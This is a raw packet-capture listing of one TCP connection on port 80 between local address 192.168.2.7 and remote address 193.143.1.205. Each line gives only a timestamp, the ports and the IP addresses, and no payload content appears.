Jan 11, 2025 05:19:26.623080015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.623090982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.645734072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645746946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645759106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645771027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645781994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645785093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.645792961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645804882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.645834923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.645858049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.647783041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.652498960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661242008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661314964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661328077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661351919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661361933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661365986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661376953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661387920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661397934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661410093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661425114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661428928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661469936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661519051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661530972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661540985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661554098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661566019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661569118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661576986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.661606073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.661624908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.666335106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.666404963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684138060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684168100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684186935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684197903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684221029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684225082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684231997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684242964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684248924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684252977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684262991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684272051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684283018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684293985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684293985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684315920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684317112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684328079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684328079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684339046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684349060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684359074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684371948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684380054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684384108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684393883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684401035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684406042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684417009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684441090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684474945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684487104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684497118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684506893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684509993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684520006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684530973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684539080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684567928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684634924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684644938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684654951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684664965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684672117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684675932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684686899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684698105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684700012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684710979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684731007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684742928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684752941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684763908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684772968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684783936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684794903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684829950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.684972048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.684989929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685012102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685015917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685023069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685033083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685050964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685056925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685069084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685074091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685079098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685091972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685103893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685111046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685116053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685127020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685144901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685164928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685252905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685264111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685278893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685290098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685297012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685302973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685313940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685324907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685324907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685336113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685344934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685348034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685364008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685384035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685477018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685492039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685503006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685513020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685524940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.685530901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.685547113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.686013937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699553013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699568987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699579954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699589968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699601889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699608088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699611902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699635983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699639082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699645042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699655056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699660063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699671030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699672937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699692011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699692965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699708939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699718952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699729919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699731112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699738979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699755907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699762106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699771881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699773073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699784040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699806929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699816942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699821949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699827909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699837923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699841022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699851990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.699862957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.699892044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.709408045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.720932007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722210884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722223997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722234011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722244024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722254992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722259045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722278118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722311974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722341061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722353935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722364902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722376108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722388029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722398996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722399950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722410917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.722424030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.722439051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.732347965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732358932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732368946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732381105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732397079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.732429981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.732566118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732579947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732589960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732601881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.732619047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.732645035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.736093044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748152971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748166084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748176098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748184919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748197079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748200893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748209953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748222113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748228073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748236895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748249054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748259068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748260021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748307943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748326063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748336077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748344898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748357058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748367071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748368979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748378992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.748385906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.748425007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.751983881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.760133028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.770781040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770795107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770804882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770837069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.770842075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770852089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.770853043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770865917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770881891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770900965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770905972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.770932913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.770945072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770956039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770967960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.770984888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771011114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771086931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771097898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771107912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771117926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771127939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771136999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771142960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771155119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771157980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771179914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771214008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771225929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771249056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771260023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771264076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771270037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771279097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771291018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771291971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771317959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771321058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771331072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771332026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771356106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771368027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771377087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771388054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771392107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771410942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771431923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771519899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771536112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771545887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771555901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771567106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771574020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771580935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771593094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771593094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771625996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771667957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771680117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771689892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771699905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771711111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771723986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771742105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771759033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771768093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771780014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771797895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771811008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771822929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771831989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771852016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771929979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771946907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771958113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771969080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771980047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771990061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.771991014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.771998882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772030115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772051096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772068024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772078991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772089958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772110939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772149086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772160053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772171974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772188902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772190094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772219896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772264004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772275925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772293091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.772324085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.772349119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.777141094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786300898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786314964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786324978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786335945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786345959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786364079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786374092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786396027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786405087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786408901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:19:26.786413908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786420107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786425114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:19:26.786426067 CET	49699	80	192.168.2.7	193.143.1.205
